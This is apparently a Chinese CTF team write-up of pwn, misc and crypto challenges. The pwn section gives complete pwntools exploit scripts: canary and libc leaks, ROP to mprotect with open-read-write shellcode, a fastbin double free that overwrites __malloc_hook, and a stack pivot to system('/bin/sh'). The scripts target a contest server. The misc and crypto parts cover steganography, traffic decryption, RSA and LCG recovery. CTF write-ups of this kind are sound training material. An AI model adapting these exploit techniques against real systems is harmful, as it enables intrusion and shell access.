warmup | SOLVED | Qfrost

导入ida看到开了沙盒,考虑使用orw,然后程序有read、printf、read,可以实现canary leak,然后第二个read存在严重的栈溢出,然后puts一下got数据实现libc leak,再回到main进行二次劫持,接着调用mprotect函数来设置bss段的数据可读可写可执行,然后再bss段上放好orwshellcode然后跳过去执行就可以拿到flag了,介于之前的题目中出现过cat flag的字符串,所以猜测flag和elf在同一个目录下,所以直接open("flag")即可

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("warm_up")
lib = 0
sh = 0
def pwn(ip,port,debug):
 global lib
 global sh
 if(debug == 1):
  sh = process("./warm_up")
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 else:
  sh = remote(ip,port)
  lib = ELF("libc-2.23.so")
 pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
 pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
 sh.sendafter('!!!','a' * 0x19)
 sh.recvuntil('a' * 0x18)
 canary = u64(sh.recv(8)) - 0x61
 payload = 'a' * 0x18 + p64(canary) + 'a' * 8
 payload += p64(pop_rdi_ret)
 payload += p64(elf.got['__libc_start_main'])
 payload += p64(elf.plt['puts'])
 payload += p64(0x400910)
 sh.sendline(payload)
 sh.recvuntil("?")
 __libc_start_main = u64(sh.recvuntil("\nwarm",True)[-6:].ljust(8,'\x00'))
 libc = __libc_start_main - lib.symbols['__libc_start_main']
 system = libc +lib.symbols['system']
 binsh = libc +lib.search("/bin/sh\x00").next()
 gets = libc + lib.symbols['gets']
 mprotect = libc+ lib.symbols['mprotect']
 __free_hook = libc +lib.symbols['__free_hook']
 __malloc_hook = libc +lib.symbols['__malloc_hook']
 pop_rdx_ret = libc + lib.search(asm("pop rdx\nret")).next()
 payload = 'a' * 0x18 + p64(canary) + 'a' * 8
 payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x500) + p64(gets)
 payload += p64(pop_rdx_ret) + p64(7) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdi_ret) + p64((elf.bss() >> 12) << 12) + p64(mprotect)
 payload += p64(elf.bss() + 0x500)
 sh.sendlineafter("!!!",'a')
 sh.sendline(payload)
 payload = ''
 payload += shellcraft.open("flag")
 payload += shellcraft.read(3,elf.bss()+0x100,0x30)
 payload += shellcraft.write(1,elf.bss()+0x100,0x30)
 sh.sendline(asm(payload))
 sh.interactive()
if __name__ == "__main__":
 pwn("139.129.76.65",50007,0)

easy_heap | SOLVED | Qfrost

典型的fastbin attack题目,一开始程序叫你输入一句话,可以输入伪造的size为,我们可以使用double free实现fastbin attack把chunk申请到伪造的size这里,由于chunk可以达到0x48的大小,所以可以修改chunk_max_size实现malloc无大小限制,同时修改到第一个chunk_ptr为got,然后show一下就可以知道libc_base了,然后再一次double free+fastbin attack打__malloc_hook,将其覆盖为one_gadget,然后malloc一下就可以拿到shell了。

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_heap")
lib = 0
sh = 0
def pwn(ip,port,debug):
 global lib
 global sh
 if(debug == 1):
  sh = process("./easy_heap")
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 else:
  sh = remote(ip,port)
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 def add(size,content):
  sh.sendlineafter("4.","1")
  sh.sendlineafter("?",str(size))
  sh.sendafter("?",content)
 def free(idx):
  sh.sendlineafter("4.","2")
  sh.sendlineafter("?",str(idx))
 def show(idx):
  sh.sendlineafter("4.","3")
  sh.sendlineafter("?",str(idx))
 chunk_list = 0x602080
 chunk_size = 0x602078
 sh.sendafter("?",p64(0x50) * 2)
 add(0x48,'\x11' * 0x48)
 add(0x48,'\x12' * 0x48)
 free(0)
 free(1)
 free(0)
 add(0x48,p64(0x602060))
 add(0x48,p64(0x602060))
 add(0x48,p64(0x602060))
 payload = 'a' * 8 + p64(0x6666) + p64(elf.got['__libc_start_main'])
 add(0x48,payload)
 show(0)
 __libc_start_main = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
 libc = __libc_start_main - lib.symbols['__libc_start_main']
 system = libc +lib.symbols['system']
 binsh = libc +lib.search("/bin/sh\x00").next()
 __free_hook = libc +lib.symbols['__free_hook']
 __malloc_hook = libc +lib.symbols['__malloc_hook']
 one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
 add(0x68,'\x13' * 0x68)
 add(0x68,'\x14' * 0x68)
 free(6)
 free(7)
 free(6)
 add(0x68,p64(__malloc_hook - 0x23))
 add(0x68,p64(__malloc_hook - 0x23))
 add(0x68,p64(__malloc_hook - 0x23))
 payload = '\x00' * 3
 payload += p64(0) * 2
 payload += p64(libc+one_gadget[3])
 add(0x68,payload)
 sh.sendlineafter("4.","1")
 sh.sendlineafter("?","666")
 sh.interactive()
if __name__ == "__main__":
 pwn("139.129.76.65",50001,0)

easy_rop | SOLVED | Qfrost

利用%d的非正规字符绕过canary,然后顺便读取canary和pie,然后在栈里发现vulnerable_function的指针,然后通过pop,让ret_addr指向该指针,再一次进入vulnerable_function,然后设置好rbp为new_stack,ret_addr为leave_ret即可栈迁移,栈迁移之后先libc leak,然后利用万能gadget调用read再一次更新new_stack的数据,将ret_addr指向system("/bin/sh\x00")就可以拿到shell了,中间少了负数的处理。所以要多打几次才能拿shell。

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_rop")
lib = 0
sh = 0
def pwn(ip,port,debug):
 global lib
 global sh
 if(debug == 1):
  sh = process("./easy_rop")
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 else:
  sh = remote(ip,port)
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 for i in range(26):
  sh.sendlineafter(":",str(0))
 sh.sendlineafter(":","--")
 sh.recvuntil("number 26 = ")
 canary = int(sh.recvuntil("\nnumber 27:",True),10)
        sh.recvuntil("number 27 = ")
        canary_head = int(sh.recvuntil("\nnumber 28",True),10)
 canary = canary + (canary_head<<32) 
 sh.sendlineafter(":","--")
 sh.recvuntil("number 28 = ")
        pie = int(sh.recvuntil("\nnumber 29:",True),10)
        sh.recvuntil("number 29 = ")
        pie = (int(sh.recvuntil("\nnumber 30",True),10) << 32) + pie 
 pie -= 0xb40
 pop_rbp_ret = pie + 0x900
 leave_ret = pie + 0xb31
 pop3_ret = pie + 0xb9f
 new_stack = pie + 0x201420 - 8
 pop_rdi_ret = pie + 0xba3
 pop_rsi_r15_ret = pie + 0xba1
 pop6_ret = 0xB9A + pie
 call_gadget = 0xB80 + pie
 def send(num):
  if(num % 0x100000000 > 0x7fffffff):
   sh.sendlineafter(":",str((-1 * num) % 0x100000000))
         else:
                 sh.sendlineafter(":",str(num % 0x100000000))
         sh.sendlineafter(":",str(num>>32))
 send(pop3_ret)
 send(new_stack)
 payload  = "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 payload += "I love Ylg!!!"
 sh.sendlineafter("?",payload)
 for i in range(28):
  sh.sendlineafter(":",'-')
 send(new_stack)
 send(leave_ret)
 sh.sendlineafter(":","--")
 payload  = p64(pop_rdi_ret)
 payload += p64(elf.got['__libc_start_main'] + pie)
 payload += p64(elf.plt['puts'] + pie)
 payload += p64(pop6_ret)
 payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
 payload += p64(call_gadget)
 sh.sendlineafter("?",payload)
 __libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
 libc = __libc_start_main - lib.symbols['__libc_start_main']
 system = libc +lib.symbols['system']
 binsh = libc +lib.search("/bin/sh\x00").next()
 __free_hook = libc +lib.symbols['__free_hook']
 __malloc_hook = libc +lib.symbols['__malloc_hook']
 payload = 'a' * 80
 payload += p64(pop_rdi_ret)
 payload += p64(binsh)
 payload += p64(system)
 sleep(0.2)
 sh.sendline(payload)
 sh.interactive()
if __name__ == "__main__":
 pwn("139.129.76.65",50002,0)

Misc:

题目名称 | 题目状态 | working : xxx

Advertising for Marriage | OPEN | working : Lamber

a_good_idea | OPEN | working : 啦啦啦** 辛得洛**** benjamin**

键盘侠|open|working:Iceman zip伪加密** 星辰**** 啦啦啦**** 晚风**

下载是一个压缩包,伪加密,里面是一张图片

图片

binwalk -e 后分离出压缩包C4E2.zip,后缀名改为doc后打开这个word文档,里面是一行字图片

PD4idqQC|WjHloX>)UPb8ZFb8laGczAeteE

python3 base64模块进行base85解密就完事了

图片

a_good_idea |SOLVED| working:星辰** yimingy72**

binwalk -e 分离to_do.png do.png

Beyond Compare 导入两张图片容差比较

扫码得flag

小狗的秘密 |SOLVED| fjh1997

还是流量分析题,提取流量得到一个神秘文件1.html

图片

一看就是rgb编码,由于有50000行所以盲猜图像大小是500X100

去掉括号然后使用脚本解决得到一张图像就是flag

#-*- coding:utf-8 -*-
from PIL import Image
import re
x = 500 #x坐标  通过对html里的行数进行整数分解
y = 100 #y坐标  x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('1.html') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
    for j in range(0,y):
        line = file.readline()#获取一行
        rgb = re.split(",|\(|\)",line)#分离rgb
        rgb = filter(None, rgb)#过滤空格
        im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()

图片

Become a Rockstar |SOLVED| fjh1997

关键在于这几句话

Ron Rivest says nice

Adi Shamir says rock

Leonard Adleman says star

Put Ron Rivest with Adi Shamir with Leonard Adleman into RSA

Bob says ar

Alice says you

Problem Makers says NCTF{

Put Problem Makers with Alice into Problem Makers with Bob

看懂这几句英文你应该想到flag了

NCTF{ar_you_nice_rock_star}

What's this** |SOLVED| fjh1997**

首先使用wireshark对流量进行提取,得到一个upload.php文件,然后分析发现里面含有zip解压得到What1s7his.txt

图片l

发现是分组的base64 那么想到base64隐写,使用脚本即可解决

# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('What1s7his.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 =  ''.join(stegb64.decode('base64').encode('base64').split())
        offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
        equalnum = stegb64.count('=') #no equalnum no offset
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

NCTF{dbb2ef54afc2877ed9973780606a3c8b}

2077 |SOLVED| fjh1997

视频流里面包含了base64,很容易,只要平均2分钟一帧按这个进度截取视频画面进行ocr,得到base64文件,之后解析出一张图片,对图片进行sha256即可。

图片

图片

NCTF{90b0443265e51869ff6c645b3104dd9df085db89266bf2290c9d24c76d458590}

内鬼 |SOLVED|L1ngFeng fjh1997

分析流量,找到config.json-为shadow和谐socks配置文件

读取获得ip、password、端口、加密方式aes-256-cfb

图片

返回去 继续看流量,导出目的ip如上的tcp流的数据

逐个分析(80多个 分析了一下午md)

由于客户端和服务端发送包都经过了加密,不能整个导出进行解密,需分开解密

分析发现发送的含有flag.txt的tcp流经解密后如下

图片

以下是请求flag.txt后返回的TCP流,单独导出原始数据使用shadow和谐socks源码中的解密脚本进行解密

图片

解密结果如下:

图片

附:解密脚本(先下载shadow和谐socks源码)

#!/usr/bin/env python  

#  

# Copyright 2012-2015 clowwindy  

#  

# Licensed under the Apache License, Version 2.0 (the "License"); you may  

# not use this file except in compliance with the License. You may obtain  

# a copy of the License at  

#  

#     [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)  

#  

# Unless required by applicable law or agreed to in writing, software  

# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT  

# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the  

# License for the specific language governing permissions and limitations  

# under the License.  

  

from __future__ import absolute_import, division, print_function, \  

    with_statement  

  


import os  

import sys  

import hashlib  

import logging  

import binascii  

from shadow和谐socks import common  

from shadow和谐socks.crypto import rc4_md5, openssl, sodium, table  

  

  

method_supported = {}  

method_supported.update(rc4_md5.ciphers)  

method_supported.update(openssl.ciphers)  

method_supported.update(sodium.ciphers)  

method_supported.update(table.ciphers)  

  

  

def random_string(length):  

    return os.urandom(length)  

  




cached_keys = {}  

  

  

def try_cipher(key, method=None):  

    Encryptor(key, method)  

  




def EVP_BytesToKey(password, key_len, iv_len):  

    # equivalent to OpenSSL's EVP_BytesToKey() with count 1  
    
    # so that we make the same key and iv as nodejs version  
    
    cached_key = '%s-%d-%d' % (password, key_len, iv_len)  
    
    r = cached_keys.get(cached_key, None)  
    
    if r:  
    
        return r  
    
    m = []  
    
    i = 0  
    
    while len(b''.join(m)) < (key_len + iv_len):  
    
        md5 = hashlib.md5()  
    
        data = password  
    
        if i > 0:  
    
            data = m[i - 1] + password  
    
        md5.update(data)  
    
        m.append(md5.digest())  
    
        i += 1  
    
    ms = b''.join(m)  
    
    key = ms[:key_len]  
    
    iv = ms[key_len:key_len + iv_len]  
    
    cached_keys[cached_key] = (key, iv)  
    
    return key, iv  

  




class Encryptor(object):  

    def __init__(self, key, method):  
    
        self.key = key  
    
        self.method = method  
    
        self.iv = None  
    
        self.iv_sent = False  
    
        self.cipher_iv = b''  
    
        self.decipher = None  
    
        method = method.lower()  
    
        self._method_info = self.get_method_info(method)  
    
        if self._method_info:  
    
            self.cipher = self.get_cipher(key, method, 1,  
    
                                          random_string(self._method_info[1]))  
    
        else:  
    
            logging.error('method %s not supported' % method)  
    
            sys.exit(1)  

  


    def get_method_info(self, method):  
    
        method = method.lower()  
    
        m = method_supported.get(method)  
    
        return m  

  


    def iv_len(self):  
    
        return len(self.cipher_iv)  

  


    def get_cipher(self, password, method, op, iv):  
    
        password = common.to_bytes(password)  
    
        m = self._method_info  
    
        if m[0] > 0:  
    
            key, iv_ = EVP_BytesToKey(password, m[0], m[1])  
    
        else:  
    
            # key_length == 0 indicates we should use the key directly  
    
            key, iv = password, b''  

  


        iv = iv[:m[1]]  
    
        if op == 1:  
    
            # this iv is for cipher not decipher  
    
            self.cipher_iv = iv[:m[1]]  
    
        return m[2](method, key, iv, op)  

  


    def encrypt(self, buf):  
    
        if len(buf) == 0:  
    
            return buf  
    
        if self.iv_sent:  
    
            return self.cipher.update(buf)  
    
        else:  
    
            self.iv_sent = True  
    
            return self.cipher_iv + self.cipher.update(buf)  

  


    def decrypt(self, buf):  
    
        if len(buf) == 0:  
    
            return buf  
    
        if self.decipher is None:  
    
            decipher_iv_len = self._method_info[1]  
    
            decipher_iv = buf[:decipher_iv_len]  
    
            self.decipher = self.get_cipher(self.key, self.method, 0,  
    
                                            iv=decipher_iv)  
    
            buf = buf[decipher_iv_len:]  
    
            if len(buf) == 0:  
    
                return buf  
    
        return self.decipher.update(buf)  

  




def encrypt_all(password, method, op, data):  

    result = []  
    
    method = method.lower()  
    
    (key_len, iv_len, m) = method_supported[method]  
    
    if key_len > 0:  
    
        key, _ = EVP_BytesToKey(password, key_len, iv_len)  
    
    else:  
    
        key = password  
    
    if op:  
    
        iv = random_string(iv_len)  
    
        result.append(iv)  
    
    else:  
    
        iv = data[:iv_len]  
    
        data = data[iv_len:]  
    
    cipher = m(method, key, iv, op)  
    
    result.append(cipher.update(data))  
    
    return b''.join(result)  

  




CIPHERS_TO_TEST = [  

    'aes-128-cfb',  
    
    'aes-256-cfb',  
    
    'rc4-md5',  
    
    'salsa20',  
    
    'chacha20',  
    
    'table',  

]  

  

  

def test_encryptor():  

    from os import urandom  
    
    plain = urandom(10240)  
    
    for method in CIPHERS_TO_TEST:  
    
        logging.warn(method)  
    
        encryptor = Encryptor(b'key', method)  
    
        decryptor = Encryptor(b'key', method)  
    
        cipher = encryptor.encrypt(plain)  
    
        plain2 = decryptor.decrypt(cipher)  
    
        assert plain == plain2  

  




def test_encrypt_all():  

    from os import urandom  
    
    plain = urandom(10240)  
    
    for method in CIPHERS_TO_TEST:  
    
        logging.warn(method)  
    
        cipher = encrypt_all(b'key', method, 1, plain)  
    
        plain2 = encrypt_all(b'key', method, 0, cipher)  
    
        assert plain == plain2  

  




if __name__ == '__main__':  

    f=open('data.bin', 'rb')  

  


    e = Encryptor('5e77b05530b30283e24c120d8cc13fb5', 'aes-256-cfb')  
    
    p = open('decrypt1.bin', 'wb')  
    
    p.write(e.decrypt(f.read()))  

Bright Body I| SOLVED | L1ngFeng

打开游戏难的一比,虚幻做的,直接看pak

Bright Body I\Bright Body I\Magic\Content\Paks\Magic-WindowsNoEditor.pak

010editor分析

图片

pip install** | SOLVED | **working:L1ngFeng yimingy72

直接打开py文件,base64解码

图片

Crypto:

题目名称 | 题目状态 | working : xxx

Keyboard**| SOLVED | L1ngFeng**

ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

都是键盘上同一行的字母,打开手机,九键英文输入,O对应9,九键中9对应的是WXYZ,又有3个O,故对应WXYZ的第三个Y,以此类推,得到有意义的字符串提交即可

flag:NCTF{youaresosmartthatthisisjustapieceofcake}

图片

图片

childRSA|SOLVED| fjh1997

图片

import gmpy2

from Crypto.Util.number import *

e = 0x10001

c = 26308018356739853895382240109968894175166731283702927002165268998773708335216338997058314157717147131083296551313334042509806229853341488461087009955203854253313827608275460592785607739091992591431080342664081962030557042784864074533380701014585315663218783130162376176094773010478159362434331787279303302718098735574605469803801873109982473258207444342330633191849040553550708886593340770753064322410889048135425025715982196600650740987076486540674090923181664281515197679745907830107684777248532278645343716263686014941081417914622724906314960249945105011301731247324601620886782967217339340393853616450077105125391982689986178342417223392217085276465471102737594719932347242482670320801063191869471318313514407997326350065187904154229557706351355052446027159972546737213451422978211055778164578782156428466626894026103053360431281644645515155471301826844754338802352846095293421718249819728205538534652212984831283642472071669494851823123552827380737798609829706225744376667082534026874483482483127491533474306552210039386256062116345785870668331513725792053302188276682550672663353937781055621860101624242216671635824311412793495965628876036344731733142759495348248970313655381407241457118743532311394697763283681852908564387282605279108

p=178449493212694205742332078583256205058672290603652616240227340638730811945224947826121772642204629335108873832781921390308501763661154638696935732709724016546955977529088135995838497476350749621442719690722226913635772410880516639651363626821442456779009699333452616953193799328647446968707045304702547915799734431818800374360377292309248361548868909066895474518333089446581763425755389837072166970684877011663234978631869703859541876049132713490090720408351108387971577438951727337962368478059295446047962510687695047494480605473377173021467764495541590394732685140829152761532035790187269724703444386838656193674253139

q=184084121540115307597161367011014142898823526027674354555037785878481711602257307508985022577801782788769786800015984410443717799994642236194840684557538917849420967360121509675348296203886340264385224150964642958965438801864306187503790100281099130863977710204660546799128755418521327290719635075221585824217487386227004673527292281536221958961760681032293340099395863194031788435142296085219594866635192464353365034089592414809332183882423461536123972873871477755949082223830049594561329457349537703926325152949582123419049073013144325689632055433283354999265193117288252918515308767016885678802217366700376654365502867

n = p * q

d = gmpy2.invert(e, (p-1)*(q-1))

m = pow(c, d, n)

print (long_to_bytes(m))

LCG | 题目状态 | working : 蓝小俊

第一关参考题目给的脚本填一下参数就跑出来了

prefix = bytes.fromhex('6716f66363f564')

digest = '2b1fbc931a4c5511e61930ad45f143e390e33f3940c48c8a52ad858d2fde50a2'

for i in range(256**3):

    guess = prefix + i.to_bytes(3, 'big')
    
    if hashlib.sha256(guess).hexdigest() == digest:
    
        print('Find: ' + guess.hex())
    
        break

else:

    print('Not found...')

第二关

#!/usr/bin/env python
import gmpy2
N = 67993323804407064177247162460772412626968255266294034382186104311679116732213
a = 32980334202452380083177264432788392218659697312745998652814302021626124358576
b = 291723828110525599080496775946229222025480472921444839406930719484144872950
next= 35102740770513164750734045341185155631583444302033604257667814839108576495642
state=gmpy2.divm(next-b,a,N)
while (a * state + b) % N != next :
	state+=N

print state

第三关

#!/usr/bin/env python
import gmpy2
N = 110932203541614602954392727472481426823668549367798890286479041080599293524531
a = 23247241127835778636185744365892878840508571577682824791249393684693677565802
next1= 72183429070250345711008949471990129744946451871959965405769800994042316470352
next2= 86168675403540550169006869846531205308150711328613464762252678728197384414203
b=(next2-next1*a)%N
while b<0:
	b+=N
state=gmpy2.divm(next1-b,a,N)
while (a * state + b) % N != next1 :
	state+=N

print state

第四关

#!/usr/bin/env python
import gmpy2
N = 83248790590795738138703763435587407105130091477545657154829027352838745275253
next1= 48118039886174921507104937769291995608559674281314797824300933248752636783887
next2= 66582640320247863067079518640620469681663326527479276238320293387462733066750
next3= 51427253600979194137526322613518368914966051532353403403302906902599764520600
a=gmpy2.divm(next3-next2,next2-next1,N)
b=(next2-next1*a)%N
while b<0:
	b+=N
state=gmpy2.divm(next1-b,a,N)
while (a * state + b) % N != next1 :
	state+=N
print state